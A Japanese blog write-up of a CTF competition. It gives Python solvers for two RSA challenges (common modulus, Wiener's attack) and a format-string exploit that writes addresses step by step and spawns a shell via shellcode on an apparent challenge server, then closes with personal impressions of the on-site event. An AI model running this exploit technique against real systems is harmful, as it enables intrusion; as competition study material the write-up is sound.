scryptosで参加してました。結果は371pt, 106位でした。 今回初めてオンサイトで集まってCTFをやりました。本当に楽しかったです。その感想も兼ねて書きます。 まずはWriteup
Strength in Difference We've captured the flag encrypted several times... do you think you can recover it?
テキストが渡される。内容は{N,e,c}の形式で20個ぐらい数列が並べられていた。目grepしているとNが全て同じなことに気づいたので解法を理解、以下のソルバを書いて解決した。
import itertools def gcd(x,y): while y: x,y = y,(x%y) return x def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m d = open("captured_827a1815859149337d928a8a2c88f89f").readlines()[1:] d = map(lambda x: x[1:-2].split(":"), d) data = [] for x in d: data.append({"N":eval(x[0]),"e":eval(x[1]),"c":eval(x[2])}) for x,y in itertools.product(data, repeat=2): if gcd(x["e"], y["e"]) == 1: g,a,b = egcd(x["e"], y["e"]) i = modinv(x["c"], x["N"]) print ("%x"%(pow(i,-a,x["N"])*pow(y["c"],b,x["N"]) % x["N"])).decode("hex") break
The curious case of the random e. We've captured the flag encrypted several times... do you think you can recover it?
さっきと同じようなテキストファイルが渡される。eが結構大きいからWiener's Attackが自明。いつものrsa-wieners-attackを少し改造してsolve
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator, sys def hack_RSA(e,n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s*s - 4*n if(discr>=0): t = Arithmetic.is_perfect_square(discr) if t!=-1 and (s+t)%2==0: print("Hacked!") return d if __name__ == "__main__": #test_is_perfect_square() #print("-------------------------") sys.setrecursionlimit(65536) d = map(lambda x: map(lambda x:eval(x), x[1:-2].split(":")),open("captured").readlines()[1:]) for x in d: D = hack_RSA(x[1], x[0]) if not D == None: print ("%x"%pow(x[2], D, x[0])).decode("hex")
We recovered this file from a nearby computer. Maybe you can tell us what it means?
謎のテキストファイル。内容から画像のフォーマットかと検討を付けてぐぐるとカーネギーメロン大学のサイトがヒットした。内容はATKとかいうツールキットの画像ファイルの形式の話だった。変換ツール探してきて解決。
自分で解いたわけではないので説明は割愛。自分は最後のExploitのコーディングをやった。
from roputils import * host='52.6.64.173' port = 4545 p = Proc(host=host, port=port) #p = Proc("ebp_a96f7231ab81e1b0d7fe24d660def25a.elf") sc = Shellcode("i386") p.writeline('%5$08x') ret_addr = int(p.readline(),16) shell_addr = ret_addr + 8020 got_snprintf = 0x804a020 print '[+] ret_addr: %08x' % ret_addr print '[+] shell_addr: %08x' % shell_addr p.writeline('%4$08x') p.readline() ebp_addr = int(p.readline().strip(),16) retpos_addr = ebp_addr - 28 print '[+] ebp_addr: %08x' % ebp_addr print '[+] retpos_addr: %08x' % retpos_addr buf = '' bufr = buf #[1] index = 4 buf = "%%%dc%%%d$hhn" % ((retpos_addr & 0xff), index) bufr += buf + '\n' p.writeline(buf) line = p.readline() buf = sc.exec_shell() index = 12 sh_low = shell_addr & 0xffff buf += "%%%dc%%%d$hn" % (sh_low - len(buf), index) bufr += buf + '\n' p.write(buf + '\n') line = p.readline() p.writeline(buf) p.wait()
初めてオンサイトでCTFやりましたが本当楽しかったです。朝ごはんわらわら買いに行ったりEBP解けた時には麻雀やったり(3位でした)...
EBPでは最初によくわからないなぁと言っていた所へ出た@_193sの提案(フォーマットストリングが無いのであればFSBを応用して書き換えを少しずつ使ってアドレスを作り出せば良いのでは?)、@RKX1209の実際のエクスプロイトコード作成、バグったということで自分がそれを書きなおしてflagという連携プレーに加えてリアルタイムな情報共有が新鮮でした。チャットとはまた違いますね...
2日目の夜なんてもう本当gdgdでしたが楽しかったです()